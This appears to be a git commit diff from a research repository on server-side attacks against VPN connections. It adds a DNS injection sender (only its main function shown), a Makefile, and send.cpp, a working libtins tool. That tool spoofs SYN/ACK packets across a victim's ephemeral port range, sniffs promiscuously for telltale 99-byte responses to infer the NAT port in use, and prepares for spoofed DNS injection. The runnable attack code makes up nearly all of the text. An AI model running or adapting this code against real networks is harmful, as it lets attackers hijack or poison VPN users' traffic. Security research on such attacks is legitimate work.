|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char** argv) {
|
||||||
|
|
||||||
|
if (argc != 5) {
|
||||||
|
cout << "sike wrong number of args ---> (src_ip, sport, dest_ip, dport)\n";
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
string src_ip = argv[1];
|
||||||
|
int sport = atoi(argv[2]);
|
||||||
|
string dest_ip = argv[3];
|
||||||
|
int dport = atoi(argv[4]);
|
||||||
|
|
||||||
|
cout << "trying to inject dns to port " << dport << "\n";
|
||||||
|
|
||||||
|
int p = send_dns(src_ip, sport, dest_ip, dport);
|
||||||
|
|
||||||
|
return p;
|
||||||
|
}
|
BIN
server-side-attack/dns-sside/phases/udder_test/uud_send
Normal file
BIN
server-side-attack/dns-sside/phases/udder_test/uud_send
Normal file
Binary file not shown.
2
server-side-attack/tcp-sside/Makefile
Normal file
2
server-side-attack/tcp-sside/Makefile
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
all:
|
||||||
|
g++ -O3 -o tcp_send send.cpp -lpthread -ltins -std=c++11
|
230
server-side-attack/tcp-sside/send.cpp
Normal file
230
server-side-attack/tcp-sside/send.cpp
Normal file
@ -0,0 +1,230 @@
|
|||||||
|
#include <tins/tins.h>
|
||||||
|
#include <cassert>
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <thread>
|
||||||
|
|
||||||
|
|
||||||
|
using std::thread;
|
||||||
|
using std::cout;
|
||||||
|
using std::string;
|
||||||
|
using std::vector;
|
||||||
|
using namespace Tins;
|
||||||
|
|
||||||
|
|
||||||
|
int current_spoof_port, best_port, chack_count;
|
||||||
|
bool is_running = true;
|
||||||
|
bool verbose = false;
|
||||||
|
|
||||||
|
|
||||||
|
bool sniffed_resp = false;
|
||||||
|
string dest_ip;
|
||||||
|
string source_ip;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void print_divider(int count) {
|
||||||
|
int i = 0;
|
||||||
|
while (i < count) {
|
||||||
|
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool handle_send_packet(PDU &some_pdu) {
|
||||||
|
|
||||||
|
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
||||||
|
|
||||||
|
if (ip.src_addr() == source_ip) {
|
||||||
|
current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
|
||||||
|
//cout << "Current Spoof Port (sniff) = " << current_spoof_port << "\n";
|
||||||
|
}
|
||||||
|
if (ip.src_addr() == dest_ip) {
|
||||||
|
|
||||||
|
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
|
||||||
|
//cout << "Payload Size = " << payload << "\n";
|
||||||
|
const int remainder = payload % 115;
|
||||||
|
}
|
||||||
|
|
||||||
|
return is_running;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
bool handle_packet(PDU &some_pdu) {
|
||||||
|
|
||||||
|
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
||||||
|
|
||||||
|
// in this case we're looking for a packet from the vpn server to the vpn client
|
||||||
|
//
|
||||||
|
// the src ip should be the VPN server and dest ip should be
|
||||||
|
// public address of victim
|
||||||
|
|
||||||
|
if (ip.src_addr() == dest_ip) { // dest_ip should be public VPN IP
|
||||||
|
|
||||||
|
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
|
||||||
|
//cout << "Payload size: " << payload << "\n";
|
||||||
|
if (payload == 99) { // could be a NAT'ed attacker packet
|
||||||
|
|
||||||
|
cout << "sniffed response from VPN server with port: " << current_spoof_port << " and size: " << payload << " \n";
|
||||||
|
best_port = current_spoof_port;
|
||||||
|
sniffed_resp = true;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return is_running;
|
||||||
|
}
|
||||||
|
|
||||||
|
void sniff_stuff() {
|
||||||
|
SnifferConfiguration config;
|
||||||
|
config.set_promisc_mode(true);
|
||||||
|
//config.set_filter("ip dst 10.0.0.215");
|
||||||
|
// would want to filter out ssh stuff at some point
|
||||||
|
Sniffer sniffer("any", config);
|
||||||
|
sniffer.sniff_loop(handle_packet);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void sniff_send_stuff() {
|
||||||
|
|
||||||
|
SnifferConfiguration config;
|
||||||
|
config.set_promisc_mode(true);
|
||||||
|
Sniffer sniffer("any", config);
|
||||||
|
sniffer.sniff_loop(handle_send_packet);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Spreads SYNs across the victim's entire port range
|
||||||
|
// coming from a specific remote_ip:port
|
||||||
|
//
|
||||||
|
int phase_two_spread(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
|
||||||
|
|
||||||
|
PacketSender sender;
|
||||||
|
NetworkInterface iface("enp0s9");
|
||||||
|
|
||||||
|
IP pkt = IP(dest_ip, source_ip) / TCP(40400, sport);
|
||||||
|
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||||
|
tcp.flags(TCP::SYN | TCP::ACK);
|
||||||
|
|
||||||
|
int current_port = best_port;
|
||||||
|
int count = 0;
|
||||||
|
int i = start_port;
|
||||||
|
bool found = false;
|
||||||
|
|
||||||
|
|
||||||
|
while (i < end_port && !found) {
|
||||||
|
tcp.dport(i);
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
//cout << "Current port= " << i << "\n";
|
||||||
|
usleep(500);
|
||||||
|
count++;
|
||||||
|
i ++;
|
||||||
|
if (count % 50 == 0) {
|
||||||
|
usleep(1000);
|
||||||
|
cout << " Current port = " << i << ". Best port = " << best_port << ".\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (best_port != 0) found = true;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(1000000); // sleep to give victim time to respond w chack
|
||||||
|
|
||||||
|
current_port = best_port;
|
||||||
|
|
||||||
|
if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
|
||||||
|
|
||||||
|
// In round 1 we spoofed really fast (10 sleep) to get a good estimate of the
|
||||||
|
// port in use. Round 2, we spoof slower from about 50 packets back to account
|
||||||
|
// for the delay in response and hopefully get the exact port number in use.
|
||||||
|
print_divider(1);
|
||||||
|
usleep(1000000 / 2);
|
||||||
|
// sniffed_chack = false;
|
||||||
|
int j = current_port - 300;
|
||||||
|
found = false;
|
||||||
|
best_port = 0;
|
||||||
|
|
||||||
|
while (j < (current_port + 300) && !found) {
|
||||||
|
tcp.dport(j); // set the packets dest port to current guess
|
||||||
|
sender.send(pkt, iface);
|
||||||
|
cout << "Current guess port = " << j << " and best port = " << best_port << " \n";
|
||||||
|
usleep(10000);
|
||||||
|
j ++;
|
||||||
|
if (best_port != 0) found = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
usleep(1000000);
|
||||||
|
|
||||||
|
if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";
|
||||||
|
|
||||||
|
return best_port;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int find_port(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
|
||||||
|
|
||||||
|
bool is_found = false;
|
||||||
|
int current_port = 0;
|
||||||
|
|
||||||
|
while (!is_found) {
|
||||||
|
|
||||||
|
current_port = phase_two_spread(source_ip, sport, dest_ip, start_port, end_port);
|
||||||
|
print_divider(1);
|
||||||
|
|
||||||
|
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
|
||||||
|
|
||||||
|
is_found = true;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return current_port;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char** argv) {
|
||||||
|
|
||||||
|
if (argc != 4) {
|
||||||
|
cout << "sike wrong number of args ---> (source_ip, sport, dest_ip)\n";
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
source_ip = argv[1]; // web server IP
|
||||||
|
int sport = atoi(argv[2]); // most likely 80 or 443
|
||||||
|
dest_ip = argv[3]; // vpn server IP
|
||||||
|
verbose = true;
|
||||||
|
|
||||||
|
int start_port = 32768;
|
||||||
|
int end_port = 61000;
|
||||||
|
|
||||||
|
print_divider(2);
|
||||||
|
|
||||||
|
thread sniff_thread(sniff_stuff);
|
||||||
|
thread send_sniff_thread(sniff_send_stuff);
|
||||||
|
|
||||||
|
int p = find_port(source_ip, sport, dest_ip, start_port, end_port);
|
||||||
|
|
||||||
|
//cout << p << "\n";
|
||||||
|
print_divider(1);
|
||||||
|
//if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";
|
||||||
|
|
||||||
|
//if (verbose) cout << "Attempting to spoof DNS back on port ..\n";
|
||||||
|
//int res = spoof_dns(source_ip, sport, dest_ip, p);
|
||||||
|
|
||||||
|
is_running = false;
|
||||||
|
sniff_thread.join();
|
||||||
|
send_sniff_thread.join();
|
||||||
|
|
||||||
|
|
||||||
|
return p;
|
||||||
|
}
|
Loading…
x
Reference in New Issue
Block a user